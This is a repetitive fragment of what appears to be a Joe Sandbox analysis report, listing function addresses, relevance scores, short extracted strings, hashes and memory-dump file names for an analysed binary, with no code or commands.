Instruction ID: 1dbdfa54a291f59812da356eb3bb8bc5622e4578dadeaad50b14fdd7a38369dd
Opcode Fuzzy Hash: caa1e8e51d252a7dde066fd720ff5f2f8bede8a89b3c4fc72c0386612c1b5b74
Instruction Fuzzy Hash: 20E1EFB3F112204BF3544939CD58366BA96DBE4320F2F863D8E88A77C5DC7E9D0A4285

Function 05C87A9D Relevance: 3.0, Strings: 2, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V?^D, xrefs: 05C88069
B1n, xrefs: 05C8809A

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: B1n$V?^D
API String ID: 0-1527692539
Opcode ID: ed114b92fb2ca6a70c39ce17c799dd676983930883ef9a4e0dfe4439ac55a074
Instruction ID: 5f8d24bb81db1b7bc2d2a82aa14a605c6bf3c84a49e3d1f9ca90722531e3f01e
Opcode Fuzzy Hash: ed114b92fb2ca6a70c39ce17c799dd676983930883ef9a4e0dfe4439ac55a074
Instruction Fuzzy Hash: 64F1CEF3E146244BF3144E28DC943A6B692DB94324F2F463CDE88AB7C4E97EAD054385

Function 05C90E58 Relevance: 2.7, Strings: 2, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L}, xrefs: 05C90E58
L}, xrefs: 05C90E5D

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: L}$L}
API String ID: 0-739324909
Opcode ID: 5ffeccd62ca2414df1e8be9e089ea8b7990dca3b8f6307c28289e38bd5e37108
Instruction ID: f67cc859b33251407a36351a1fd8ddbceea5f6e1a52c7eae3fa9ae7c690f6d22
Opcode Fuzzy Hash: 5ffeccd62ca2414df1e8be9e089ea8b7990dca3b8f6307c28289e38bd5e37108
Instruction Fuzzy Hash: 78819AA7F1122547F3544D29CCA83626283DBD5324F2F82788F896B7C6ED3E6D0A5384

Function 05CA029D Relevance: 1.8, Strings: 1, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!w2, xrefs: 05CA08CA

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: !w2
API String ID: 0-3128529680
Opcode ID: 3a9c771463ec7181c9eb78e95ec2ced383d9005d9b0e578e18f4893ebc94dce1
Instruction ID: ae373a7d870fb117625a2de16ea5bb2c84a32bb791bde184d4c37a81aee24099
Opcode Fuzzy Hash: 3a9c771463ec7181c9eb78e95ec2ced383d9005d9b0e578e18f4893ebc94dce1
Instruction Fuzzy Hash: BF02CFB3E146150BF3185978DC98366B682DBD4320F2F823C8F8967BC9E97E5D0A4285

Function 05C9EC12 Relevance: 1.8, Strings: 1, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D?, xrefs: 05C9F35A

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: D?
API String ID: 0-1171995716
Opcode ID: d5e547a9d05c2e472749a4fc4403e6895b38a44466a6d5dc83105e9ee3f1b9d9
Instruction ID: 2a79dd369026c34111f3d4d1d0a4555130990baf3cdf57aa5c71e29cc2d57ca2
Opcode Fuzzy Hash: d5e547a9d05c2e472749a4fc4403e6895b38a44466a6d5dc83105e9ee3f1b9d9
Instruction Fuzzy Hash: AE02F1F3F152244BF3444939DC98366B692DBD4320F2B863D9E98A77C8E93E9D064385

Function 05C69F80 Relevance: 1.7, Strings: 1, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#4Vn, xrefs: 05C6A598

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: #4Vn
API String ID: 0-4132054029
Opcode ID: d12afe6d16badb3a3bc38aaa2685729ed5ef4a96176742395904c0afb77a2920
Instruction ID: 68461111066c72691739027c927a79031c9f9d494f317937dfd5765a46e7dba7
Opcode Fuzzy Hash: d12afe6d16badb3a3bc38aaa2685729ed5ef4a96176742395904c0afb77a2920
Instruction Fuzzy Hash: 5DE105B3F112244BF3504E29DC98366B696EB94320F2F863DDE88A77C4D97E5D058385

Function 05C7F2D0 Relevance: 1.7, Strings: 1, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3Eo?, xrefs: 05C7F7C0

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: 3Eo?
API String ID: 0-3783826733
Opcode ID: 260feaac17f6d36f81cb99195e152fafa214021421d4caf7a9b91eeb3e5e1280
Instruction ID: 48b84baf36bf172bc0c195503b31a5e34e11a619e7a2bb4d3a3dbc6f3d169d54
Opcode Fuzzy Hash: 260feaac17f6d36f81cb99195e152fafa214021421d4caf7a9b91eeb3e5e1280
Instruction Fuzzy Hash: DDE1CEF3F116240BF3485939DD5836676829BE4324F2F82389F89AB3C5E87E5D0A4285

Function 05C6EDBE Relevance: 1.7, Strings: 1, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x_, xrefs: 05C6F246

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: x_
API String ID: 0-1824000155
Opcode ID: 45a19eeb41635333dceb6edbac85c7a40b9915b298eec8cbc4016a7f93ec2337
Instruction ID: 87aaf72fcfbb60b40ea7843811fa5ea121843b02aa85d930121f9b0b355218a5
Opcode Fuzzy Hash: 45a19eeb41635333dceb6edbac85c7a40b9915b298eec8cbc4016a7f93ec2337
Instruction Fuzzy Hash: C1E1BDF3F102204BF3485938CD993667A92DBD4310F2F823D9B89A7BC9D97D990A4385

Function 05C92706 Relevance: 1.7, Strings: 1, Instructions: 444COMMON

Download Yara Rule

Strings

[, xrefs: 05C927FE

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: [
API String ID: 0-784033777
Opcode ID: 29189c96a004c4978f8cd5cd0aac3c91bab0cdad26d52d93da9af75416b19598
Instruction ID: 6e6696a3e56493d4bd1698c48259839adfa0c87ae056c520e08e28fa3afab320
Opcode Fuzzy Hash: 29189c96a004c4978f8cd5cd0aac3c91bab0cdad26d52d93da9af75416b19598
Instruction Fuzzy Hash: 93E1E2F3F112254BF3048D29DC98366B693DBD5320F2F863C9A889B7C5E97E9D058285

Function 05C6F814 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

0]uV, xrefs: 05C6FC87

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: 0]uV
API String ID: 0-1699472172
Opcode ID: 528dec5db0158974a8db23bb99d77d81f2226dfaf317ecc89aff65927c016d01
Instruction ID: 2fd9987993bd978b5fa75e5a5dcbc56bc377f755fb0c8a1d8763ad858c60bd85
Opcode Fuzzy Hash: 528dec5db0158974a8db23bb99d77d81f2226dfaf317ecc89aff65927c016d01
Instruction Fuzzy Hash: 3CE1C0F3F152204BF3549D29DC98366B697DBD5320F2F823C9A889B7C8E87D5D0A4285

Function 05C8A66A Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

U|TM, xrefs: 05C8AA51

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: U|TM
API String ID: 0-1455822021
Opcode ID: 6780e5613b23814e10fc487388d094efd14e6d6541c623b4fe8c37117bd6105e
Instruction ID: 7dd25844149c4f6d15f0a2db4ec5f2a053136909313b215e3ab91ab7546c0bd0
Opcode Fuzzy Hash: 6780e5613b23814e10fc487388d094efd14e6d6541c623b4fe8c37117bd6105e
Instruction Fuzzy Hash: FCD132B3F142244BF3488D29DC94376B697EBD5320F2B823D9A999B3C4D97E5C068381

Function 05CB2531 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

d, xrefs: 05CB273D

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 4d88e6943282feb2f1d2aa7cd7ac4d6a3e3e19f548d125b1021bda556b4598a3
Instruction ID: 71135e4f4d6017741756ebc02cca697903736a9143ebc72f39006528f3c063f1
Opcode Fuzzy Hash: 4d88e6943282feb2f1d2aa7cd7ac4d6a3e3e19f548d125b1021bda556b4598a3
Instruction Fuzzy Hash: 96B17EF7F1122547F3944978CC983A26683D7D1320F2F82388F59AB7C5D97E9D4A5284

Function 05C82E8D Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

B5vt, xrefs: 05C8301C

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: B5vt
API String ID: 0-485753732
Opcode ID: 307c4ee7a65a60a9502f5479238447a95d3f2d617dedd31042c51b60c0bdd0de
Instruction ID: a7c51b2fcb36d44a02e10cbc80ed3492c2f7fd5229a57712be8d0c3987a68294
Opcode Fuzzy Hash: 307c4ee7a65a60a9502f5479238447a95d3f2d617dedd31042c51b60c0bdd0de
Instruction Fuzzy Hash: 1DA18BB3F5222547F3544939CCA836266839BD2325F3F82788E58AB7C5DC7E9D0A5384

Function 05C7A96F Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

/, xrefs: 05C7ABF0

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 95b7c6fb7dc03006c0709aa2fe53540da86c5f40a8eb03eb01480a186facf95d
Instruction ID: d9ba04812e56c14773c16a916dcea2122a49520fa7cca2367603e4d75c7f27f5
Opcode Fuzzy Hash: 95b7c6fb7dc03006c0709aa2fe53540da86c5f40a8eb03eb01480a186facf95d
Instruction Fuzzy Hash: 0AA19BB3F1112507F3584939CC683A266839BD5320F2F827C8E5DAB7C5D8BE9D0A5384

Function 05CAE5B9 Relevance: 1.6, Strings: 1, Instructions: 303COMMON

Download Yara Rule

Strings

_F8:, xrefs: 05CAE736

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: _F8:
API String ID: 0-397300947
Opcode ID: c2c4debb12e6ac54a7563304eeaff07df7fd9c914fb0ce31f4c7bd27d44c8098
Instruction ID: 8cb7f35a8ed155187451dfce483b9397f196d32de67b0edf295bfa5da92076db
Opcode Fuzzy Hash: c2c4debb12e6ac54a7563304eeaff07df7fd9c914fb0ce31f4c7bd27d44c8098
Instruction Fuzzy Hash: F2A16AF3F616254BF3544839CD583A26583D7E5321F2F82788F48AB7C9D8BE9D0A5284

Function 05C6E8D6 Relevance: 1.6, Strings: 1, Instructions: 303COMMON

Download Yara Rule

Strings

Y{X{, xrefs: 05C6EB86

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: Y{X{
API String ID: 0-2052089709
Opcode ID: ef4fa9920e47c6d2a0504a79751afc253589d9c0086d4b47d1c6b238a8e9f649
Instruction ID: b2a6b6ab39bfa9b317d86ff25561599d5dc1fefd366a938dc7b4d07dce5dd5bd
Opcode Fuzzy Hash: ef4fa9920e47c6d2a0504a79751afc253589d9c0086d4b47d1c6b238a8e9f649
Instruction Fuzzy Hash: 1EA189B3F1222547F3484839CDA8362668397E5315F2F827C8E5C6B7C9E87E5D0A4384

Function 05C76BF4 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

&%(, xrefs: 05C76CD9

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: &%(
API String ID: 0-3403236153
Opcode ID: bc3340d5b102bcae72d354ca53e6bc9d3ee7f11fb024c199d82f64bba22a3bf8
Instruction ID: d28c00700e5fad65999da702d2df43f738aafc34abbad203f3488eda9df1fb2c
Opcode Fuzzy Hash: bc3340d5b102bcae72d354ca53e6bc9d3ee7f11fb024c199d82f64bba22a3bf8
Instruction Fuzzy Hash: 8391CCF7F0162447F3544979DCA8362B6839BA5314F2F82388E5C6B7C5E87E5E094384

Function 05C9F967 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

>, xrefs: 05C9F9C9

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 1dd15ae09dae6ec6bf2273500d9474b3d3f5418d302bf1a056e781100fc238c5
Instruction ID: 120ba18ee41a53410385099dd7c7a725e280c22bd770699e4de0c07f216a268f
Opcode Fuzzy Hash: 1dd15ae09dae6ec6bf2273500d9474b3d3f5418d302bf1a056e781100fc238c5
Instruction Fuzzy Hash: 5191CCB7F112254BF3584929CC683627283EBD5324F2F8279CA496B7C1DD7E5D0A8380

Function 05CB0CE0 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

(, xrefs: 05CB0D4B

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 7a54429db4954fe4aa323bd251ac71622f1a9fb5f4be7a33298df6031e661eae
Instruction ID: 78c103265abca16a4f2e726bbebca30431b09f935a0a2ccce5232fd302d44083
Opcode Fuzzy Hash: 7a54429db4954fe4aa323bd251ac71622f1a9fb5f4be7a33298df6031e661eae
Instruction Fuzzy Hash: 5691ADB7F112214BF3944D29CC983A17282DBA5311F2F82788E8C6B7C5E97E5E0993C4

Function 05C763AF Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

Vi++, xrefs: 05C7663D

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
